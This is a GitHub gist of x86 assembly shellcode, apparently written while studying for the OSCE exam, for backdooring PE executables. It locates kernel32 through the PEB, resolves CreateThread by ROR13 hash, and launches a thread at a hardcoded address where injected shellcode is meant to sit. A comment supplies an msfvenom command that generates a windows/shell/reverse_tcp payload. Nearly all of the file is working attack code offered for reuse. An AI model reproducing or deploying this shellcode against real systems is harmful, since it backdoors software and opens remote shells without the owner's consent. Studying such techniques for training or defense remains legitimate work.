Last active
June 14, 2022 00:45
-
-
Save tophertimzen/5d32f255292a0201853cb7009fc55fba to your computer and use it in GitHub Desktop.
Make a new Thread with Windows PEB -> Function Hash Resolver
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; Topher Timzen | |
; Messing around with PE backdooring for CTP/OSCE and wanted to make a new thread inside of process to avoid synchronization issues. | |
; Tons of NULL as I used this in a PE directly, no need to avoid them. | |
; nasm CreateThread.asm -o CreateThread.raw; xxd -p CreateThread.raw | tr -d '\n' | |
[BITS 32] | |
[SECTION .text] | |
global _start | |
_start: | |
;Find Kernel32 Base Address | |
xor ecx, ecx ; trick to avoid null byte MOV EAX,[FS:0x30], we add ecx | |
MOV EAX, [FS:ecx+0x30] ; EAX = PEB | |
MOV EAX, [eax+0x0C] ; EAX = PEB->Ldr | |
MOV EAX, [EAX+0x14] ; EAX = PEB->Ldr.InMemoryOrderModuleList.Flink | |
; Start to move the pointer 2 positions ahead | |
mov eax, [eax+ecx] ; EAX = LDR 2nd entry -> KernelBA * + ecx to avoid NULL | |
mov eax, [eax+ecx] ; EAX = LDR 3rd entry -> Kernel32 | |
; End move | |
MOV ebx, [EAX+0x10] ; EBX = LDR_MODULE's BaseAddress Kernel32 | |
mov dword [ebp-4], ebx ; Kernel32 is now at ebp-4. | |
; Get CreateThread | |
push 0xCA2BD06B ; CreateThread | |
push dword [ebp-4] ; Kernel32 base address | |
call GetProcessAddress | |
; CreateThread to shellcode | |
; Make shellcode with exitfunc=Thread with msfvenom and find an address, non-ASLR, to plop it | |
; msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp -f hex exitfunc=thread LPORT=4444 LHOST="127.0.0.1" | |
push 0 ; LpThreadID | |
push 0 ; CreationFlags | |
push 0 ; lpParameter | |
push 0x004C30D0 ; lpStartAddress. CHANGE ME | |
push 0 ; dwStackSize | |
push 0 ; lpThreadAttributes | |
call eax ; CreateThread | |
jmp 0x94 ; Jump over the GetProcessAddress function | |
; Get an address of a function from a DLL | |
GetProcessAddress: | |
pushad ; push all registers | |
mov ebp, [esp + 0x24] ; base address of dll (Kernel32) | |
mov eax, [ebp + 0x3c] ; skip DOS header and go to PE header! We want export table | |
mov edx, [ebp + eax + 0x78] ; 0x78 offset from the PE header is the export table. PE header = 0xD0 + 0x78 = 0x148 | |
add edx, ebp ; make the export table an absolute base address and put it in. MSDOS header + Import table = address. | |
mov ecx, [edx + 0x18] ; go into the export table and get the numberOfNames ;http://fumalwareanalysis.blogspot.com/2011/12/malware-analysis-tutorial-8-pe-header.html | |
mov ebx, [edx + 0x20] ; get the AddressOfNames offset. | |
add ebx, ebp ; AddressofNames base. | |
find_function_loop: | |
jecxz find_function_finished ; if ecx is zero, quit. nothing found. | |
dec ecx ; dec ECX by one for the loop until no matches are found or until one is. | |
mov esi, [ebx + ecx * 4] ; get a name to play with from the export table. | |
add esi, ebp ; esi is now the current name to search on. | |
find_hashes: | |
xor edi, edi | |
xor eax, eax | |
cld | |
continue_hashing: | |
lodsb ; moves esi to al to test end of string | |
test al, al ; is the end of string reached? | |
jz compute_hash_finished | |
ror edi, 0xd ; ROR13 for hash calculation | |
add edi, eax | |
jmp continue_hashing | |
compute_hash_finished: | |
cmp edi, [esp + 0x28] ; edi has the function hash, ESP + x028. 10 spots as I did a push eax, push edx before this call and did a pushad. | |
jnz find_function_loop ; didn't match, keep trying! | |
mov ebx, [edx + 0x24] ; put the address of the ordinal and put it in ebx. | |
add ebx, ebp ; get ordinal address in ebx. | |
mov cx, [ebx + 2 * ecx] ; ordinal = 2 bytes. Get the current ordinal and put it in cx. ECX was our counter for which # we were in. | |
mov ebx, [edx + 0x1c] ; extract the address table offset | |
add ebx, ebp ; put absolute address in EBX. | |
mov eax, [ebx + 4 * ecx] ; VMA | |
add eax, ebp | |
mov [esp + 0x1c], eax ; overwrite the stack copy of eax so that popad will return this. | |
find_function_finished: | |
popad | |
ret |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment